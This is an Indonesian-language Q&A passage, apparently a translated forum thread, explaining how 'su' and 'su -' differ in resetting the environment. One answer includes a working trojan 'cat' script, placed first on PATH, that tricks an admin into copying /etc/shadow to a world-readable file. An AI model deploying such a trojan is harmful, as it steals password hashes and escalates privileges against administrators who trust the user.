su -
memanggil shell login setelah mengalihkan pengguna. Shell login menyetel ulang sebagian besar variabel lingkungan, menyediakan basis yang bersih.
su
hanya mengalihkan pengguna, menyediakan shell normal dengan lingkungan yang hampir sama dengan pengguna lama.
Bayangkan, Anda seorang pengembang perangkat lunak dengan akses pengguna normal ke sebuah mesin dan admin bodoh Anda tidak akan memberi Anda akses root. Mari (semoga) menipunya.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Sekarang, Anda bertanya kepada admin mengapa Anda tidak bisa cat
file boneka di folder rumah Anda, itu tidak akan berfungsi!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Jika admin Anda tidak terlalu pintar atau hanya sedikit malas, dia mungkin datang ke meja Anda dan mencoba dengan kekuatan pengguna supernya:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Wow! Terima kasih, admin super!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Dia, dia.
Anda mungkin memperhatikan bahwa $PATH
rusak variabel tidak diatur ulang. Ini tidak akan terjadi, jika admin memanggil su -
sebagai gantinya.
su -
memasukkan Anda sepenuhnya sebagai root, sedangkan su
membuatnya jadi Anda berpura-pura menjadi root.
Contoh paling jelas dari hal ini adalah ~
adalah direktori home root jika Anda menggunakan su -
, tetapi direktori home Anda sendiri jika Anda menggunakan su
.
Bergantung pada sistem Anda, ini juga dapat berarti perbedaan dalam prompt, PATH
, atau file riwayat.
Jadi, jika Anda adalah bagian dari tim yang mengelola sistem, dan kolega Anda memberi Anda perintah untuk dijalankan, Anda tahu itu akan berfungsi sama jika Anda berdua menggunakan su -
, tetapi jika Anda berdua menggunakan su
, mungkin ada perbedaan karena Anda memiliki konfigurasi shell yang berbeda.
Di sisi lain, jika Anda ingin menjalankan perintah sebagai root tetapi menggunakan konfigurasi Anda sendiri, mungkin su
lebih baik untukmu.
Juga jangan lupa tentang sudo
, yang memiliki -s
pilihan untuk memulai shell berjalan sebagai root. Tentu saja, ini memiliki aturan yang berbeda juga, dan berubah tergantung pada distribusi mana yang Anda gunakan.
Perbedaan utamanya adalah :
su - username
menyiapkan lingkungan shell seolah-olah itu adalah login bersih sebagai pengguna yang ditentukan, mengakses dan menggunakan variabel lingkungan pengguna yang ditentukan,
su username
baru saja memulai shell dengan pengaturan lingkungan saat ini untuk pengguna yang ditentukan.
Jika nama pengguna tidak ditentukan dengan su
dan su -
, akun root tersirat sebagai default.